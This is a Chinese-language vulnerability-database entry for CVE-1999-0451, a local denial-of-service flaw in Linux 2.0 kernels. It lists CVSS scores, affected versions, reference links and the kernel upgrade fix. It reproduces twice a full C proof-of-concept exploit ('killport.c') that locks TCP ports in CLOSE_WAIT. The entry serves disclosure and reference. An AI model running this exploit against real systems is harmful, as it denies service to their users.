CVE-1999-0451
CVSS2.1
发布时间 :1999-01-19 00:00:00
修订时间 :2008-09-05 16:17:18
NMCOES    

[原文]Denial of service in Linux 2.0.36 allows local users to prevent any server from listening on any non-privileged port.


[CNNVD]Linux TCP Port DoS 漏洞(CNNVD-199901-043)

        in Linux 2.0.36 中存在漏洞。本地用户利用该漏洞防止任何服务器侦听任何非特权端口导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.2.0Linux Kernel 2.2
cpe:/o:linux:linux_kernel:2.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0451
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0451
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199901-043
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/343
(VENDOR_ADVISORY)  BID  343

- 漏洞信息

Linux TCP Port DoS 漏洞
低危 未知
1999-01-19 00:00:00 2005-10-20 00:00:00
本地  
        in Linux 2.0.36 中存在漏洞。本地用户利用该漏洞防止任何服务器侦听任何非特权端口导致服务拒绝。

- 公告与补丁

        The only way to cure the problems caused by exploiting this vulnerability is to reboot.
        The problems were fixed in the 2.2.0+ kernel releases and the 2.1.x development kernels.

- 漏洞信息 (19271)

Linux kernel 2.0 TCP Port DoS Vulnerability (EDBID:19271)
linux dos
1999-01-19 Verified
0 David Schwartz
N/A [点击下载]
source: http://www.securityfocus.com/bid/343/info


It is possible to leak kernel memory and render TCP ports above 1024 unusable, locked forever in the CLOSE_WAIT state in linux kernels prior to the late 2.1.x and 2.2.0pre releases. In addition to being intentionally exploited, unix applications compiled on linux that are multithreaded may also cause these problems.

Below is a harmless example of the exploit:

// This program will kill a random port on a linux machine. The kernel will

// forever listen to that port and send the connections nowhere. Tested with

// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,

// but removing LinuxThreads from your system will not solve the problem.

// Discovered by David J. Schwartz <davids@webmaster.com>

// Copyright (C) 1998, David J. Schwartz

// Compile with:

// gcc killport.c -lpthread -o killport

#include <pthread.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <errno.h>

volatile int s;

void *Thread1(void *a)

{

int i,p;

struct sockaddr_in to;

fd_set fd;

s=socket(AF_INET, SOCK_STREAM, 0);

if(s<=0) return;

memset(&to, 0, sizeof(to));

srand(getpid());

/* we pick a random port between 50000 and 59999 */

p=(rand()%10000)+50000;

printf("port = %d\n", p);

fflush(stdout);

to.sin_port=htons(p);

to.sin_addr.s_addr=0;

to.sin_family=AF_INET;

if(bind(s, (struct sockaddr *)&to, sizeof(to))<0) fprintf(stderr,"no bind\n");

if(listen(s,10)!=0)

fprintf(stderr,"No Listen\n");

/* now we are listening on that port */

i=sizeof(to);

FD_ZERO(&fd);

FD_SET(s,&fd);

select(s+1,&fd,NULL,NULL,NULL);

/* at this point we have selected on it as well */

fprintf(stderr,"select returned!\n");

}

void *Thread2(void *a)

{

close(s);

fflush(stderr);

abort();

}

void main(void)

{

pthread_t j;

pthread_create(&j,NULL,Thread1,NULL);

usleep(100); /* give the other thread time to finish */

pthread_create(&j,NULL,Thread2,NULL);

while(1) sleep(1);

} 		

- 漏洞信息

5994
Linux CLOSE_WAIT TCP Networking DoS
Local Access Required Denial of Service
Loss of Availability Upgrade
Exploit Public

- 漏洞描述

The Linux kernel contains a flaw that may allow a local denial of service. The problem is that a malicious user can permanently close any non-priviliged port, rendering the port unvavailable, resulting in a loss of availability for the machine.

- 时间线

1999-01-19 Unknow
1999-01-19 Unknow

- 解决方案

Upgrade to kernel version 2.1.x or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Linux TCP Port DoS Vulnerability
Unknown 343
No Yes
1999-01-19 12:00:00 2009-07-11 12:16:00
First posted to BugTraq by David Schwartz <davids@WEBMASTER.COM> on January 19, 1999.

- 受影响的程序版本

Linux kernel 2.0
Linux kernel 2.2
Linux kernel 2.1

- 不受影响的程序版本

Linux kernel 2.2
Linux kernel 2.1

- 漏洞讨论

It is possible to leak kernel memory and render TCP ports above 1024 unusable, locked forever in the CLOSE_WAIT state in linux kernels prior to the late 2.1.x and 2.2.0pre releases. In addition to being intentionally exploited, unix applications compiled on linux that are multithreaded may also cause these problems.

- 漏洞利用

Below is a harmless example of the exploit:

// This program will kill a random port on a linux machine. The kernel will

// forever listen to that port and send the connections nowhere. Tested with

// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,

// but removing LinuxThreads from your system will not solve the problem.

// Discovered by David J. Schwartz &lt;davids@webmaster.com&gt;

// Copyright (C) 1998, David J. Schwartz

// Compile with:

// gcc killport.c -lpthread -o killport

#include &lt;pthread.h&gt;

#include &lt;stdio.h&gt;

#include &lt;sys/types.h&gt;

#include &lt;sys/socket.h&gt;

#include &lt;netinet/in.h&gt;

#include &lt;stdlib.h&gt;

#include &lt;arpa/inet.h&gt;

#include &lt;errno.h&gt;

volatile int s;

void *Thread1(void *a)

{

int i,p;

struct sockaddr_in to;

fd_set fd;

s=socket(AF_INET, SOCK_STREAM, 0);

if(s&lt;=0) return;

memset(&amp;to, 0, sizeof(to));

srand(getpid());

/* we pick a random port between 50000 and 59999 */

p=(rand()%10000)+50000;

printf("port = %d\n", p);

fflush(stdout);

to.sin_port=htons(p);

to.sin_addr.s_addr=0;

to.sin_family=AF_INET;

if(bind(s, (struct sockaddr *)&amp;to, sizeof(to))&lt;0) fprintf(stderr,"no bind\n");

if(listen(s,10)!=0)

fprintf(stderr,"No Listen\n");

/* now we are listening on that port */

i=sizeof(to);

FD_ZERO(&amp;fd);

FD_SET(s,&amp;fd);

select(s+1,&amp;fd,NULL,NULL,NULL);

/* at this point we have selected on it as well */

fprintf(stderr,"select returned!\n");

}

void *Thread2(void *a)

{

close(s);

fflush(stderr);

abort();

}

void main(void)

{

pthread_t j;

pthread_create(&amp;j,NULL,Thread1,NULL);

usleep(100); /* give the other thread time to finish */

pthread_create(&amp;j,NULL,Thread2,NULL);

while(1) sleep(1);

}

- 解决方案

The only way to cure the problems caused by exploiting this vulnerability is to reboot.

The problems were fixed in the 2.2.0+ kernel releases and the 2.1.x development kernels.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站